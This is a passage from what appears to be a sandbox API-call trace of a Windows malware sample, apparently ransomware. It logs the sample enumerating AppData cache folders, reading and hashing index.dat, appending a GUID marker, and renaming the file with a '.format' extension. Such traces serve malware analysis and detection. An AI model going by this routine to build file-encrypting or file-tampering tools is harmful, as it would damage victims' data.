HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0069.199] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.200] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.200] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0069.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0069.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.200] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.200] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.200] PathFindFileNameW (pszPath="") returned="" [0069.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.200] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.200] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0069.200] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0069.200] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0069.201] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0069.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.201] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=32768) returned 1 [0069.201] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.203] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.204] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.205] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.205] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8000, lpOverlapped=0x0) returned 1 [0069.206] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.206] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.206] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.206] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.207] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.207] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.207] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.207] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.207] GetLastError () returned 0x0 [0069.207] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.207] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.207] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.208] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.208] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.208] CloseHandle (hObject=0x5c8) returned 1 [0069.209] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0069.209] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0069.209] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.209] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.format")) returned 1 [0069.210] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.210] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x319e178 | out: hHeap=0x5d0000) returned 1 [0069.211] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185a48 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185ca0 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185d68 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8c58 | out: hHeap=0x5d0000) returned 1 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185bd8 | out: hHeap=0x5d0000) returned 1 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185b10 | out: hHeap=0x5d0000) returned 1 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185b10 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185a48 | out: hHeap=0x5d0000) returned 1 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.211] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185a48 [0069.211] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185bd8 [0069.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185a48 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.212] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0069.212] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.212] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.212] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 